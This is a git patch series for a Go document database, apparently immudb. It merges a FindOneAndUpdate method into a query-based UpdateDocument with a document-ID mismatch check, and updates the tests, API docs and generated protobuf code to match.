@@ -89,35 +89,3 @@ func TestDocument(t *testing.T) { require.Equal(t, r1.Bytes(), r2.Bytes()) }) } - -func TestMergeDocumentStructs(t *testing.T) { - // Create the initial struct - doc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, - }, - } - // Create the struct to merge in - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, - "city": {Kind: &structpb.Value_StringValue{StringValue: "New York"}}, - }, - } - // Call the mergeDocumentStructs function - err := mergeDocumentStructs(doc, toUpdateDoc) - if err != nil { - t.Fatalf("mergeDocumentStructs failed with error: %v", err) - } - // Check that the values have been updated correctly - if doc.Fields["name"].GetStringValue() != "Alice" { - t.Errorf("Expected name to be unchanged, got %v", doc.Fields["name"].GetStringValue()) - } - if doc.Fields["age"].GetNumberValue() != 31 { - t.Errorf("Expected age to be updated to 31, got %v", doc.Fields["age"].GetNumberValue()) - } - if doc.Fields["city"].GetStringValue() != "New York" { - t.Errorf("Expected city to be added, got %v", doc.Fields["city"].GetStringValue()) - } -} diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 91fa8df322..ea55e33995 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -39,6 +39,7 @@ var ( ErrMaxLengthExceeded = errors.New("max length exceeded") ErrMultipleDocumentsFound = errors.New("multiple documents found") ErrDocumentNotFound = errors.New("document not found") + ErrDocumentIDMismatch = errors.New("document id mismatch") ) // Schema to ValueType mapping @@ -116,23 +117,23 @@ type IndexOption struct { IsUnique bool } -type upsertOption struct { +type upsertOptions struct { isInsert bool tx *sql.SQLTx } -func (u *upsertOption) withTx(tx *sql.SQLTx) *upsertOption { +func (u *upsertOptions) withTx(tx *sql.SQLTx) *upsertOptions { u.tx = tx return u } -func (u *upsertOption) withIsInsert(isInsert bool) *upsertOption { +func (u *upsertOptions) withIsInsert(isInsert bool) *upsertOptions { u.isInsert = isInsert return u } -func newUpsertOption() *upsertOption { - return &upsertOption{} +func newUpsertOptions() *upsertOptions { + return &upsertOptions{} } func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { @@ -346,18 +347,18 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er } func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { - opt := newUpsertOption().withIsInsert(true) + opt := newUpsertOptions().withIsInsert(true) docID, txID, _, err = e.upsertDocument(ctx, collectionName, doc, opt) return } func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID, rev uint64, err error) { - opt := newUpsertOption().withIsInsert(false) + opt := newUpsertOptions().withIsInsert(false) _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, opt) return } -func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct, opt *upsertOption) (docID DocumentID, txID, rev uint64, err error) { +func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct, opt *upsertOptions) (docID DocumentID, txID, rev uint64, err error) { if doc == nil { return nil, 0, 0, ErrIllegalArguments } @@ -892,7 +893,7 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu } query := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(collectionName, DocumentBLOBField)}, + []sql.Selector{sql.NewColSelector(collectionName, DocumentIDField)}, collectionName, exp, nil, @@ -910,7 +911,7 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu return 0, 0, err } - var results []*structpb.Struct + var results []DocumentID for { row, err := r.Read(ctx) if err == sql.ErrNoMoreRows { @@ -920,15 +921,12 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu return 0, 0, err } - docBytes := row.ValuesByPosition[0].RawValue().([]byte) - - doc := &structpb.Struct{} - err = json.Unmarshal(docBytes, doc) + val := row.ValuesByPosition[0].RawValue().([]byte) + docID, err := NewDocumentIDFromRawBytes(val) if err != nil { return 0, 0, err } - - results = append(results, doc) + results = append(results, docID) } // close the active snapshot reader @@ -943,11 +941,22 @@ func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, qu } // merge the document fields - doc := results[0] - mergeDocumentStructs(doc, docToUpdate) + docID := results[0] + + // check if updated document has id field + if val, ok := docToUpdate.Fields[DocumentIDField]; ok { + // check if id field matches + if val.GetStringValue() != docID.EncodeToHexString() { + return 0, 0, ErrDocumentIDMismatch + } + } else { + // add id field to updated document + docToUpdate.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) + } // update the document - opt := newUpsertOption().withIsInsert(false).withTx(tx) - _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, opt) + opt := newUpsertOptions().withIsInsert(false).withTx(tx) + _, txID, rev, err = e.upsertDocument(ctx, collectionName, docToUpdate, opt) + return } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 126e965e68..8266f0a627 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -863,7 +863,8 @@ func TestFindOneAndUpdate(t *testing.T) { "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, }, } - docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOption{isInsert: true}) + + docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOptions{isInsert: true}) if err != nil { t.Fatalf("Failed to insert test document: %v", err) } @@ -873,39 +874,68 @@ func TestFindOneAndUpdate(t *testing.T) { Kind: &structpb.Value_StringValue{StringValue: "Alice"}, })} - // Prepare a document to update the age field - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, - }, - } + t.Run("update document should pass without docID", func(t *testing.T) { + // Prepare a document to update the age field + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + }, + } - // Call the FindOneAndUpdate method - txID, rev, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) - require.NoError(t, err) - // Check that the method returned the expected values - require.NotEqual(t, txID, 0) - require.NotEqual(t, rev, 0) + // Call the FindOneAndUpdate method + txID, rev, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) + require.NoError(t, err) + // Check that the method returned the expected values + require.NotEqual(t, txID, 0) + require.NotEqual(t, rev, 0) - // Verify that the document was updated - updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) - if err != nil { - t.Fatalf("Failed to find updated document: %v", err) - } - updatedDoc := updatedDocs[0] - if updatedDoc.Fields["age"].GetNumberValue() != 31 { - t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) - } + // Verify that the document was updated + updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) + require.NoError(t, err) - fmt.Println() - require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) + updatedDoc := updatedDocs[0] + if updatedDoc.Fields["age"].GetNumberValue() != 31 { + t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) + } + + require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) + + }) + + t.Run("update document should fail when no document is found", func(t *testing.T) { + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + }, + } + + // Test error case when no documents are found + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Bob"}, + })} + _, _, err = e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) + if !errors.Is(err, ErrDocumentNotFound) { + t.Errorf("Expected ErrDocumentNotFound, got %v", err) + } + }) + + t.Run("update document should fail with a different docID", func(t *testing.T) { + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "_id": {Kind: &structpb.Value_StringValue{StringValue: "123"}}, + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 34}}, + }, + } + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Alice"}, + })} + + // Call the FindOneAndUpdate method + _, _, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) + require.ErrorIs(t, err, ErrDocumentIDMismatch) + }) - // Test error case when no documents are found - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Bob"}, - })} - _, _, err = e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) - if !errors.Is(err, ErrDocumentNotFound) { - t.Errorf("Expected ErrDocumentNotFound, got %v", err) - } } From 26acd0b65ad91c02b6f2eb01bf3c1d8152c18fb5 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 28 Apr 2023 11:27:42 +0530 Subject: [PATCH 0453/1062] chore: change DocumentFindOneAndUpdate to DocumentUpdate --- embedded/document/engine.go | 150 ++- embedded/document/engine_test.go | 234 ++--- pkg/api/documentschema/docs.md | 37 +- pkg/api/documentschema/documentschema.pb.go | 983 ++++++++---------- .../documentschema/documentschema.pb.gw.go | 81 -- pkg/api/documentschema/documentschema.proto | 26 +- .../documentschema.swagger.json | 68 +- .../documentschema/documentschema_grpc.pb.go | 36 - pkg/database/document_database.go | 34 +- pkg/server/db_dummy_closed.go | 4 - pkg/server/documents_operations.go | 13 - 11 files changed, 585 insertions(+), 1081 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index ea55e33995..5f63c0e76c 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -352,9 +352,78 @@ func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc return } -func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID, rev uint64, err error) { - opt := newUpsertOptions().withIsInsert(false) - _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, opt) +func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, queries []*Query, docToUpdate *structpb.Struct) (txID, rev uint64, err error) { + exp, err := e.generateExp(ctx, collectionName, queries) + if err != nil { + return 0, 0, err + } + + query := sql.NewSelectStmt( + []sql.Selector{sql.NewColSelector(collectionName, DocumentIDField)}, + collectionName, + exp, + nil, + nil, + ) + + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) + if err != nil { + return 0, 0, err + } + defer tx.Cancel() + + r, err := e.sqlEngine.QueryPreparedStmt(ctx, tx, query, nil) + if err != nil { + return 0, 0, err + } + + var results []DocumentID + for { + row, err := r.Read(ctx) + if err == sql.ErrNoMoreRows { + break + } + if err != nil { + return 0, 0, err + } + + val := row.ValuesByPosition[0].RawValue().([]byte) + docID, err := NewDocumentIDFromRawBytes(val) + if err != nil { + return 0, 0, err + } + results = append(results, docID) + } + + // close the active snapshot reader + r.Close() + + if len(results) == 0 { + return 0, 0, ErrDocumentNotFound + } + + if len(results) > 1 { + return 0, 0, ErrMultipleDocumentsFound + } + + // merge the document fields + docID := results[0] + + // check if updated document has id field + if val, ok := docToUpdate.Fields[DocumentIDField]; ok { + // check if id field matches + if val.GetStringValue() != docID.EncodeToHexString() { + return 0, 0, ErrDocumentIDMismatch + } + } else { + // add id field to updated document + docToUpdate.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) + } + + // update the document + opt := newUpsertOptions().withIsInsert(false).withTx(tx) + _, txID, rev, err = e.upsertDocument(ctx, collectionName, docToUpdate, opt) + return } @@ -885,78 +954,3 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, return } - -func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, queries []*Query, docToUpdate *structpb.Struct) (txID, rev uint64, err error) { - exp, err := e.generateExp(ctx, collectionName, queries) - if err != nil { - return 0, 0, err - } - - query := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(collectionName, DocumentIDField)}, - collectionName, - exp, - nil, - nil, - ) - - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) - if err != nil { - return 0, 0, err - } - defer tx.Cancel() - - r, err := e.sqlEngine.QueryPreparedStmt(ctx, tx, query, nil) - if err != nil { - return 0, 0, err - } - - var results []DocumentID - for { - row, err := r.Read(ctx) - if err == sql.ErrNoMoreRows { - break - } - if err != nil { - return 0, 0, err - } - - val := row.ValuesByPosition[0].RawValue().([]byte) - docID, err := NewDocumentIDFromRawBytes(val) - if err != nil { - return 0, 0, err - } - results = append(results, docID) - } - - // close the active snapshot reader - r.Close() - - if len(results) == 0 { - return 0, 0, ErrDocumentNotFound - } - - if len(results) > 1 { - return 0, 0, ErrMultipleDocumentsFound - } - - // merge the document fields - docID := results[0] - - // check if updated document has id field - if val, ok := docToUpdate.Fields[DocumentIDField]; ok { - // check if id field matches - if val.GetStringValue() != docID.EncodeToHexString() { - return 0, 0, ErrDocumentIDMismatch - } - } else { - // add id field to updated document - docToUpdate.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) - } - - // update the document - opt := newUpsertOptions().withIsInsert(false).withTx(tx) - _, txID, rev, err = e.upsertDocument(ctx, collectionName, docToUpdate, opt) - - return -} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 8266f0a627..dd48441a42 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -245,7 +245,12 @@ func TestDocumentAudit(t *testing.T) { }) require.NoError(t, err) - _, revision, err := engine.UpdateDocument(context.Background(), collectionName, &structpb.Struct{ + // Prepare a query to find the document + queries := []*Query{newQuery("country", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + })} + + _, revision, err := engine.UpdateDocument(context.Background(), collectionName, queries, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": { Kind: &structpb.Value_StringValue{StringValue: docID.EncodeToHexString()}, @@ -463,71 +468,99 @@ func TestQueryDocument(t *testing.T) { } func TestDocumentUpdate(t *testing.T) { - engine := makeEngine(t) + // Create a new engine instance + ctx := context.Background() + e := makeEngine(t) // create collection - collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "country": {Type: sql.VarcharType}, + // Create a test collection with a single document + collectionName := "test_collection" + err := e.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "name": {Type: sql.VarcharType}, + "age": {Type: sql.Float64Type}, }) require.NoError(t, err) - require.NoError(t, err) - // add document to collection - docID, _, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + doc := &structpb.Struct{ Fields: map[string]*structpb.Value{ - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - "data": { - Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, - }, - }}, - }, + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, }, - }) - require.NoError(t, err) + } - _, revision, err := engine.UpdateDocument(context.Background(), collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "_id": { - Kind: &structpb.Value_StringValue{StringValue: docID.EncodeToHexString()}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - "data": { - Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "key1": {Kind: &structpb.Value_StringValue{StringValue: "value2"}}, - }, - }}, + docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOptions{isInsert: true}) + if err != nil { + t.Fatalf("Failed to insert test document: %v", err) + } + + // Prepare a query to find the document by name + queries := []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Alice"}, + })} + + t.Run("update document should pass without docID", func(t *testing.T) { + // Prepare a document to update the age field + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, }, - }, + } + + // Call the UpdateDocument method + txID, rev, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + require.NoError(t, err) + // Check that the method returned the expected values + require.NotEqual(t, txID, 0) + require.NotEqual(t, rev, 0) + + // Verify that the document was updated + updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) + require.NoError(t, err) + + updatedDoc := updatedDocs[0] + if updatedDoc.Fields["age"].GetNumberValue() != 31 { + t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) + } + + require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) + }) - require.NoError(t, err) - require.Equal(t, uint64(2), revision) - expressions := []*Query{ - { - Field: "country", - Operator: sql.EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + t.Run("update document should fail when no document is found", func(t *testing.T) { + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, }, - }, - } + } - // check if document is updated - docs, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 10) - require.NoError(t, err) - require.Equal(t, 1, len(docs)) + // Test error case when no documents are found + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Bob"}, + })} + _, _, err = e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + if !errors.Is(err, ErrDocumentNotFound) { + t.Errorf("Expected ErrDocumentNotFound, got %v", err) + } + }) - // check if data is updated - doc := docs[0] - require.Equal(t, "value2", doc.Fields["data"].GetStructValue().Fields["key1"].GetStringValue()) + t.Run("update document should fail with a different docID", func(t *testing.T) { + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "_id": {Kind: &structpb.Value_StringValue{StringValue: "123"}}, + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 34}}, + }, + } + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Alice"}, + })} + + // Call the UpdateDocument method + _, _, err := e.UpdateDocument(ctx, collectionName, queries, toUpdateDoc) + require.ErrorIs(t, err, ErrDocumentIDMismatch) + }) } func TestFloatSupport(t *testing.T) { @@ -842,100 +875,3 @@ func newQuery(field string, op int, value *structpb.Value) *Query { Value: value, } } - -func TestFindOneAndUpdate(t *testing.T) { - // Create a new engine instance - ctx := context.Background() - e := makeEngine(t) - - // create collection - // Create a test collection with a single document - collectionName := "test_collection" - err := e.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "name": {Type: sql.VarcharType}, - "age": {Type: sql.Float64Type}, - }) - require.NoError(t, err) - - doc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, - }, - } - - docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOptions{isInsert: true}) - if err != nil { - t.Fatalf("Failed to insert test document: %v", err) - } - - // Prepare a query to find the document by name - queries := []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Alice"}, - })} - - t.Run("update document should pass without docID", func(t *testing.T) { - // Prepare a document to update the age field - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, - }, - } - - // Call the FindOneAndUpdate method - txID, rev, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) - require.NoError(t, err) - // Check that the method returned the expected values - require.NotEqual(t, txID, 0) - require.NotEqual(t, rev, 0) - - // Verify that the document was updated - updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) - require.NoError(t, err) - - updatedDoc := updatedDocs[0] - if updatedDoc.Fields["age"].GetNumberValue() != 31 { - t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) - } - - require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) - - }) - - t.Run("update document should fail when no document is found", func(t *testing.T) { - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, - }, - } - - // Test error case when no documents are found - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Bob"}, - })} - _, _, err = e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) - if !errors.Is(err, ErrDocumentNotFound) { - t.Errorf("Expected ErrDocumentNotFound, got %v", err) - } - }) - - t.Run("update document should fail with a different docID", func(t *testing.T) { - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "_id": {Kind: &structpb.Value_StringValue{StringValue: "123"}}, - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 34}}, - }, - } - queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Alice"}, - })} - - // Call the FindOneAndUpdate method - _, _, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) - require.ErrorIs(t, err, ErrDocumentIDMismatch) - }) - -} diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index f7ce0aaa95..867c4ce3a8 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -21,8 +21,6 @@ - [DocumentAudit](#immudb.documentschema.DocumentAudit) - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) - - [DocumentFindOneAndUpdateRequest](#immudb.documentschema.DocumentFindOneAndUpdateRequest) - - [DocumentFindOneAndUpdateResponse](#immudb.documentschema.DocumentFindOneAndUpdateResponse) - [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) - [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) @@ -310,39 +308,6 @@ - - -### DocumentFindOneAndUpdateRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | - - - - - - - - -### DocumentFindOneAndUpdateResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| transactionId | [uint64](#uint64) | | | -| revision | [uint64](#uint64) | | | - - - - - - ### DocumentInsertManyRequest @@ -502,6 +467,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | +| query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -613,7 +579,6 @@ | CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | | CollectionUpdate | [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) | | | DocumentInsertMany | [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) | | -| DocumentFindOneAndUpdate | [DocumentFindOneAndUpdateRequest](#immudb.documentschema.DocumentFindOneAndUpdateRequest) | [DocumentFindOneAndUpdateResponse](#immudb.documentschema.DocumentFindOneAndUpdateResponse) | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index f0e92b1d3d..022f5626ff 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -265,7 +265,8 @@ type DocumentUpdateRequest struct { unknownFields protoimpl.UnknownFields Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` + Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -307,6 +308,13 @@ func (x *DocumentUpdateRequest) GetCollection() string { return "" } +func (x *DocumentUpdateRequest) GetQuery() []*DocumentQuery { + if x != nil { + return x.Query + } + return nil +} + func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document @@ -1678,124 +1686,6 @@ func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { return 0 } -type DocumentFindOneAndUpdateRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` - Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` -} - -func (x *DocumentFindOneAndUpdateRequest) Reset() { - *x = DocumentFindOneAndUpdateRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[27] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentFindOneAndUpdateRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentFindOneAndUpdateRequest) ProtoMessage() {} - -func (x *DocumentFindOneAndUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[27] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentFindOneAndUpdateRequest.ProtoReflect.Descriptor instead. -func (*DocumentFindOneAndUpdateRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{27} -} - -func (x *DocumentFindOneAndUpdateRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentFindOneAndUpdateRequest) GetQuery() []*DocumentQuery { - if x != nil { - return x.Query - } - return nil -} - -func (x *DocumentFindOneAndUpdateRequest) GetDocument() *structpb.Struct { - if x != nil { - return x.Document - } - return nil -} - -type DocumentFindOneAndUpdateResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` -} - -func (x *DocumentFindOneAndUpdateResponse) Reset() { - *x = DocumentFindOneAndUpdateResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[28] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentFindOneAndUpdateResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentFindOneAndUpdateResponse) ProtoMessage() {} - -func (x *DocumentFindOneAndUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[28] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentFindOneAndUpdateResponse.ProtoReflect.Descriptor instead. -func (*DocumentFindOneAndUpdateResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{28} -} - -func (x *DocumentFindOneAndUpdateResponse) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -func (x *DocumentFindOneAndUpdateResponse) GetRevision() uint64 { - if x != nil { - return x.Revision - } - return 0 -} - var File_documentschema_proto protoreflect.FileDescriptor var file_documentschema_proto_rawDesc = []byte{ @@ -1822,366 +1712,340 @@ var file_documentschema_proto_rawDesc = []byte{ 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 